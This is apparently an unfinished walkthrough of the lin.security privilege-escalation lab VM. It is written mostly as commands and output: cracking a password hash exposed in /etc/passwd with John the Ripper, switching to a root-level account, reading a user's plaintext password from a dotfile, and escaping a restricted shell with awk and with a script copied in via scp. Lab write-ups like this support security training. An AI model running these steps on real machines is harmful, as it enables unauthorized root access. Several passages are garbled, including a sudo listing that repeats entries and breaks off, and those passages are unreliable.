lin.security TBC

```
LPE using visible hash in /etc/passwd
bob@linsecurity:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
bob:x:1000:1004:bob:/home/bob:/bin/bash
statd:x:111:65534::/var/lib/nfs:/usr/sbin/nologin
peter:x:1001:1005:,,,:/home/peter:/bin/bash
insecurity:AzER3pBZh6WZE:0:0::/:/bin/sh
susan:x:1002:1006:,,,:/home/susan:/bin/rbash
```

```
Identifying hash:
```

```
bob@linsecurity:~$ cat /etc/passwd | grep insecurity | cut -d ':' -f1,2
insecurity:AzER3pBZh6WZE
bob@linsecurity:~$
```

Cracking password:

```
root@kali:/tmp/crack# john -wordlist:rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (descrypt, traditional crypt(3) [DES 128/128 AVX-16])
Press 'q' or Ctrl-C to abort, almost any other key for status
P@sswθrd (insecurity)
1g 0:00:00:00 DONE (2019-12-06 16:00) 100.0g/s 780800p/s 780800c/s 780800C/s sergiu..baller23
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```

```
bob@linsecurity:~$ groups insecurity
insecurity : root
bob@linsecurity:~$ su insecurity
Password:
#
```

```
Finding Susan's password:
```

```
bob@linsecurity:/home/susan$ find / -type f -user susan 2> /dev/null
/home/susan/.bashrc
/home/susan/.bash_history
/home/susan/.bash_logout
/home/susan/.secret
/home/susan/.profile
bob@linsecurity:/home/susan$
```

```
bob@linsecurity:/home$ ls -lah
total 20K
drwxr-xr-x 5 root root 4.0K Jul 9 2018 .
drwxr-xr-x 23 root root 4.0K Jul 10 2018 ...
drwxr-xr-x 4 bob bob 4.0K Jul 10
                                     2018 bob
drwxr-xr-x 5 peter peter 4.0K Jul 10 2018 peter
drwxr-xr-x 2 susan susan 4.0K Jul 10
                                     2018 susan
bob@linsecurity:/home$ cd susan/
bob@linsecurity:/home/susan$ ls -lah
total 24K
drwxr-xr-x 2 susan susan 4.0K Jul 10
                                   2018 .
drwxr-xr-x 5 root root 4.0K Jul 9
                                    2018 ..
-rw-r--r-- 1 susan susan 220 Jul
                                  9
                                    2018 .bash logout
-rw-r--r-- 1 susan susan 3.7K Jul 9 2018 .bashrc
-rw-r--r-- 1 susan susan 807 Jul 9 2018 .profile
-rw-r--r-- 1 susan susan 20 Jul 9 2018 .secret
bob@linsecurity:/home/susan$ cat .secret
MvSuperS3cretValue!
```

```
bob@linsecurity:/home/susan$ su susan
Password:
susan@linsecurity:~$
```

TBC:

```
bob@linsecurity:/home/susan$ showmount -e
Export list for linsecurity:
/home/peter *
```

Bob's Privileges:

toos may ran the rottowing commands on insecurity:

(ALL) /bin/ash, /usr/bin/ash, /bin/bash, /bin/bsh, /bin/csh, /usr/bin/cesh, /bin/ash, /usr/bin/expect, /usr/bin/ftp, /usr/bin/ftp, /usr/bin/cesh, /usr/bin/man, /bin/more, /usr/bin/scp, /usr/bin/scat, /usr/bin/ssh, /usr/bin/yin, /usr/bin/git, /usr/bin/yin/scp, /usr/bin/scat, /usr/bin/ssh, /usr/bin/yin/scat, /usr/bin/scat, /usr/b

Susan rbash:

susan@linsecurity:~\$ echo \$SHELL
/bin/rbash
susan@linsecurity:~\$

```
susan@linsecurity:~$ sudo -l
[sudo] password for susan:
Sorry, try again.
[sudo] password for susan:
Sorry, user susan may not run sudo on linsecurity.
susan@linsecurity:~$
```

```
Bypassing rbash using awk:
susan@linsecurity:/home/bob$ cd ...
```

rbash: cd: restricted

susan@linsecurity:/home/bob\$ cd /

rbash: cd: restricted

susan@linsecurity:/home/bob\$

```
susan@linsecurity:/home/bob$ awk 'BEGIN {system("/bin/bash")}'
susan@linsecurity:/home/bob$ cd ..
susan@linsecurity:/home$ ls -lah
total 20K
drwxr-xr-x 5 root root 4.0K Jul 9 2018 .
drwxr-xr-x 23 root root 4.0K Jul 10 2018 ..
drwxr-xr-x 4 bob bob 4.0K Jul 10 2018 bob
drwxr-xr-x 5 peter peter 4.0K Jul 10 2018 peter
drwxr-xr-x 3 susan susan 4.0K Dec 6 08:16 susan
susan@linsecurity:/home$
```

```
Viewing files in rhash using Jess pager:

peter:x:1001:1005:,,,:/home/peter:/bin/bash
insecurity:AzER3pBZh6WZE:0:0::/:/bin/sh
susan:x:1002:1006:,,,:/home/susan:/bin/rbash
!done (press RETURN)
```

```
/bin/rbash: /usr/bin/lesspipe: restricted: cannot specify `/' in command names total 20K drwxr-xr-x 5 root root 4.0K Jul 9 2018 . drwxr-xr-x 23 root root 4.0K Jul 10 2018 . drwxr-xr-x 4 bob bob 4.0K Jul 10 2018 bob drwxr-xr-x 5 peter peter 4.0K Jul 10 2018 peter drwxr-xr-x 3 susan susan 4.0K Dec 6 08:16 susan !done (press RETURN)
```

Bypassing rbash via scp:

```
~
~
~
:vi /tmp/test.sh<mark>.</mark>
```

```
#!/bin/bash
/bin/bas<mark>h</mark>
~
```

```
total 1.2M
                                     6 08:28
drwxrwxrwt
            9 root
                           4.0K Dec
                     root
drwxr-xr-x 23
                           4.0K Jul 10
                                         2018
               root
                     root
                           1.1M Dec
                                      6 08:24
                                               bash
-rwxr-xr-x
            1
               susan
                     susan
                           4.0K Dec
                                      6 07:52
               root
                                               .font-unix
drwxrwxrwt
                     root
            2 root
                           4.0K Dec
                                      6 07:52
                                               .ICE-unix
drwxrwxrwt
                     root
                                      6 07:52
                           4.0K Dec
            3 root
                                               systemd-priv
                     root
drwx-----
            3 root
                            4.0K Dec
                                      6 07:52
                                               systemd-priv
drwx----
                     root
                              22 Dec
                                      6 08:28
                                               test.sh
               susan susan
- rwxrwxr-x
                             12K Dec
                                      6 08:28
                                               .test.sh.swp
               susan susan
- rw - r - - r - -
            2 root
                           4.0K Dec
                                      6 07:52 .Test-unix
drwxrwxrwt
                     root
                           4.0K Dec
                                      6 07:52
                                               .X11-unix
drwxrwxrwt
            2 root
                     root
                                               .XIM-unix
                           4.0K Dec
                                      6 07:52
            2 root
                     root
drwxrwxrwt
```

```
susan@linsecurity:~$ scp susan@localhost:/tmp/test.sh .
susan@localhost's password:
test.sh
susan@linsecurity:~$
```

```
susan@linsecurity:~$ ls -lah
total 56K
drwxr-xr-x 6 susan susan 4.0K Dec
                                  6 08:59
                        4.0K Jul
                                     2018
drwxr-xr-x 5 root
                  root
                                  9
                         712 Dec
                                    08:25 .bash history
-rw----- 1 susan susan
                                  6
-rw-r--r-- 1 susan susan 220 Jul
                                  9
                                     2018 .bash logout
-rw-r--r-- 1 susan susan 3.7K Jul
                                     2018 .bashrc
                                  9
drwx----- 2 susan susan 4.0K Dec
                                  6 08:24
                                          .cache
drwxr-x--- 3 susan susan 4.0K Dec
                                  6 08:06
                                          .config
drwx----- 3 susan susan 4.0K Dec
                                  6 08:24
                                           .gnupg
-rw----- 1 susan susan 136 Dec
                                  6 08:24 .lesshst
-rw-r--r-- 1 susan susan
                         807 Jul
                                  9 2018 .profile
-rw-r--r-- 1 susan susan
                          20 Jul
                                     2018 .secret
                                  9
                                  6 08:23 .ssh
drwx----- 2 susan susan 4.0K Dec
-rwxrwxr-x 1 susan susan 22 Dec
                                  6 09:00 test.sh
-rw----- 1 susan susan 3.8K Dec
                                  6 08:59 .viminfo
susan@linsecurity:~$
```

```
susan@linsecurity:~$ bash test.sh
susan@linsecurity:~$ cd ..
susan@linsecurity:/home$
```